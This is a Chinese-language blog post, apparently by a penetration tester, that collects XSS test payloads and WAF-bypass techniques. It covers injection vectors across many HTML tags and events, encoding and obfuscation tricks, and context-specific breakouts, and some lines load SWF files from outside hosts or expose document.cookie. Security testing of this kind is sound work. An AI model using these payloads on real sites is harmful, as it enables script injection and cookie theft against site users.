朝花夕拾|勿忘初心 朝花夕拾|勿忘初心

XSS 测试备忘录

in XSS,安全研究 read (677) 1521汉字 站长Lucifaer 文章转载请注明来源!

最近一直都在做渗透测试,在测试的过程中,发现有很多XSS的漏洞,但是或多或少都有一些waf,甚是烦人。

在网上收集了一大波资料后,总结而成下面的测试备忘录。

总结自:

Bypass xss 过滤的测试方法

那些年我们没能bypass的xss filter

0x01 初步测试

测试waf语句:

"'<script javascript onload src><a href></a>#$%^&

首先就是要看插入代码的位置,以及waf的过滤方式。

  1. 插入比较正常的HTML标签,推荐<img><input>这样的标签,很容易看到。
  2. 测试几个XSS的payload:

    <script>alert(1);</script>
    <script>prompt(1);</script>
    <script>confirm(1);</script>
    <scriptsrc="你的JS脚本">
    查看返回响应,是过滤全部,还是只过滤了部分,是否还留下了`alert,prompt,confirm`字符,再尝试大小写组合:
    <scRiPt>alert(1);</scrIPt>
  3. 如果过滤器仅仅过滤了<script></script>标签,那么可以用

    <scr<script>ipt>alert(1)</scr<script>ipt>
  4. <a href来测试,看返回响应:

    <a href="http://www.baidu.com">Clickme</a>
    > `<a`标签是否被过滤,`href`是否被过滤,`href`里的数据是否被过滤
    
    如果数据没有被过滤,插入`javascript`伪协议看一看:
    <a href="javascript:alert(1)">Clickme</a>
    > 观察javascript的整个协议内容是否都被过滤,还是值过滤了javascript字符,若只过滤了字符,则尝试大小写转换
    
    继续测试事件触发执行javascript:
    <a href="baidu.com" onmouseover=alert(1)>ClickHere</a>
    看`onmouseover`事件是否被过滤。测试一个无效事件来查看过滤规则:
    <a href="baidu.com" onclimbatree=alert(1)>ClickHere</a>
    
    查看是完整返回了,还是和`onmouseover`一起被干掉了。同时还可以看一下是否只是对关键的字段进行了过滤,比如只对on这个字段进行了过滤。
    
    如果是完整返回的话,那么意味着,做了事件的黑名单,如果发现在on附近新增了标签或者过滤了on,那么就是对于相关的字段做了黑名单。

0x02 其他标签测试

2.1 可以执行js的标签:

<script> 
<a> 
<p> 
<img> 
<body> 
<button> 
<var> 
<div> 
<iframe> 
<object> 
<input> 
<select> 
<textarea> 
<keygen> 
<frameset> 
<embed> 
<svg> 
<math> 
<video> 
<audio>

2.2 可以执行js的事件

onload 
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
onclick 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput onformchange 
ondrag 
ondrop

2.3 可以执行js的属性

formaction 
action 
href 
xlink:href 
autofocus 
src 
content 
data

2.4 详细payload手册:

标签:

  1. a标签

    • javascript伪协议:

      <a href=javascript:alert(2)>
    • data协议执行javascript:

      <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
    • urlencode版本:

      <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
    • 不使用href的另外一种组合来执行js:

      <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
      
      或者:
      <math><a xlink:href=javascript:alert(1)></math>
  2. script标签

    • 最简单的测试payload:

      <script>alert(1)</script>
    • jsfuck版本:

      <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
      
      [jsfuck](http://www.jsfuck.com/ )
    • 各种编码版本:

      <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>
      
      <script>prompt(-[])</script>//不只是alert。prompt和confirm也可以弹窗 
      
      <script>alert(/3/)</script>//可以用"/"来代替单引号和双引号 
      
      <script>alert(String.fromCharCode(49))</script> //我们还可以用char
      
      <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
      
      <script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
  3. button标签

    • event事件实现js调用:

      <button/onclick=alert(1) >M</button>
    • html5的新姿势:

      需要交互的版本:
      <form><button formaction=javascript&colon;alert(1)>M
      
      不需要交互的版本:
      <button onfocus=alert(1) autofocus>
  4. p标签

    • 如果发现变量输出在p标签中,只要能跳出""就足够了:

      <p/onmouseover=javascript:alert(1); >M</p>
  5. img标签

    有些姿势是因为浏览器的不同而不能成功执行的。

    • 只在chrome下有效:

      <img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效
      
      <img/src/onerror=alert(1)>  //只在chrome下有效
    • 其他:

      <img src=x onerror=alert(1)> 
      
      <img src="x:kcf" onerror="alert(1)">

以下全是通过事件来调用js的,可以利用上面给出的列表自己组合。

  1. body标签

    通过event事件来调用js
    <body onload=alert(1)> 
    
    <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  2. var标签

    <var onmouseover="prompt(1)">M</var>
  3. div标签

    <div/onmouseover='alert(1)'>X
    
    <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
  4. iframe标签

    有时候我们可以通过实体编码、换行和Tab字符来bypass。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash,只有在crossdomain.xml文件中,allow-access-from domain="*"允许从外部调用swf时,才可以通过flash来事先xss attack。
    
    下面的`&Tab;`为tab字符
    <iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
    <iframe SRC="http://0x.lv/xss.swf"></iframe>
    <IFRAME SRC="javascript:alert(1);"></IFRAME>
    <iframe/onload=alert(1)></iframe>
  5. meta标签

    测试时发现昵称,文章标题跑到meta标签中,那么只需要跳出当前属性再添加`http-equiv="refresh"`,就可以构造一个有效地xss payload。还有一些猥琐的思路,就是通过给`http-equiv`设置`set-cookie`,进一步重新设置cookie来干一些猥琐的事情。
    <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
    <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
  6. object标签

    和a标签的href属性的玩法是一样的,优点是无需交互。
    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
  7. marquee标签

    <marquee onstart="alert('1')"></marquee>
  8. isindex标签

    在一些只针对属性做了过滤的webapp中,action很有可能是漏网之鱼。
    <isindex type=image src=1 onerror=alert(1)>
    <isindex action=javascript:alert(1) type=image>
  9. input标签

    通过event来调用js。和button一样通过autofocus可以达到无需交互即可弹窗的效果。
    <input onfocus=javascript:alert(1) autofocus> 
    
    <input onblur=javascript:alert(1) autofocus><input autofocus>
  10. select标签

    <select onfocus=javascript:alert(1) autofocus>
  11. textarea标签

    <textarea onfocus=javascript:alert(1) autofocus>
  12. keygen标签

    <keygen onfocus=javascript:alert(1) autofocus>
  13. frameset标签

    <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
  14. embed标签

    <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
    <embed src=javascript:alert(1)> //firefox
  15. svg标签

    <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效
  16. math标签

    <math href="javascript:javascript:alert(1)">CLICKME</math> 
    
    <math><y/xlink:href=javascript:alert(51)>test1 
    
    <math> <maction actiontype="statusline#http://wangnima.com" 
    xlink:href="javascript:alert(49)">CLICKME</maction> </math>
  17. video标签

    <video><source onerror="alert(1)"> 
    
    <video src=x onerror=alert(48)>
  18. audio标签

    <audio src=x onerror=alert(47)>

属性

说几个可能特殊一点的属性,其他的属性请组合相应的标签使用并构造。

  1. background属性

    <table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
  2. poster属性

    <video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
  3. code属性

    <applet code="javascript:confirm(document.cookie);"> // Firefox有效
    embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  4. expression属性

    <img style="xss:expression(alert(0))"> // IE7以下
    
    <div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7以下
    
    <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

最短的测试向量

<q/oncut=alert(1)>//在限制长度的地方很有效

嵌套

<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<bodylanguage=vbsonload=alert-1//IE8有效
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效

2.5 过滤情况

  1. 过滤括号

    当括号被过滤的时候可以使用throw来绕过
    <a onmouseover="javascript:window.onerror=alert;throw 1>
    
    <img src=x onerror="javascript:window.onerror=alert;throw 1">
    
    以上两个测试向量在Chrome和IE上会出现一个"uncaught"错误,可以用下面的向量代替:
    <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
  2. =();:被过滤时

    <svg><script>alert&#40/1/&#41</script> // 通杀所有浏览器s
    
    opera中可以不闭合
    <svg><script>alert&#40 1&#41 // Opera可查s

2.6 编码

很多情况下WAF会实体编码用户的输入数据,

javascript是一个很灵活的语言,可以使用很多编码,比如十六进制,Unicode和HTML。但是也对这些编码可以用在哪个位置有规定。

属性:

href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=

支持的编码方式:HTML,八进制,十进制,十六进制和Unicode

属性:

data=

支持的编码:base64

2.7 基于上下文的过滤

需要根据具体的情况来进行绕过。

  1. 输入的属性:

    <input value="XSStest" type=text>
可控位置为XSStest,可以使用
"><img src=x onerror=prompt(0);>
如果`<>`被过滤的话,可以换成
" autofocus onfocus=alert(1)//
同样还有很多其他的payload:
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="
  1. 输入在script标签中:

    例如:
    <script>
    Var x="Input";
    </script>
    
    可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了
    ";alert(1)//
  2. 非常规的事件监听

    例如:
    ";document.body.addEventListener("DOMActivate",alert(1))//
    ";document.body.addEventListener("DOMActivate",prompt(1))//
    ";document.body.addEventListener("DOMActivate",confirm(1))//
    下面是一些相同的类:
    DOMAttrModified
    DOMCharacterDataModified
    DOMFocusIn
    DOMFocusOut
    DOMMouseScroll
    DOMNodeInserted
    DOMNodeInsertedIntoDocument
    DOMNodeRemoved
    DOMNodeRemovedFromDocument
    DOMSubtreeModified
  3. href内容可控

    例如:
    <a href="Userinput">Click</a>
    
    可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:
    javascript:alert(1)//

2.8 变换

使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。

  1. JavaScript变换

    使用javascript协议时可使用的例子:
    javascript&#00058;alert(1)
    javaSCRIPT&colon;alert(1)
    JaVaScRipT:alert(1)
    javas&Tab;cript:\u0061lert(1);
    javascript:\u0061lert&#x28;1&#x29
    javascript&#x3A;alert&lpar;document&period;cookie&rpar;
  2. Vbscript变换

    vbscript:alert(1);
    vbscript&#00058;alert(1);
    vbscr&Tab;ipt:alert(1)"
    Data URl
    data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

2.9 JSON

当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了

encodeURIComponent('userinput')

userinput处可控,测试代码:

-alert(1)-
-prompt(1)-
-confirm(1)-

2.10 SVG标签

当返回结果在svg标签中的时候,会有一个特性

<svg><script>varmyvar="YourInput";</script></svg>

YourInput可控,输入

www.site.com/test.php?var=text";alert(1)//

如果把"编码一些他仍然能够执行:

<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

0x03 总结

xss的注入手法真的是非常的丰富且有趣,在实际进行乙方测试的时候,也是手测的重要项目。

以后会根据工作中遇到的情况慢慢丰富这个体系。

最后吐槽一下,没了wooyun确实思路都少了很多。

xss
最后由Lucifaer修改于2017-06-01 00:38

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
PREVIOUS NEXT
雷姆
拉姆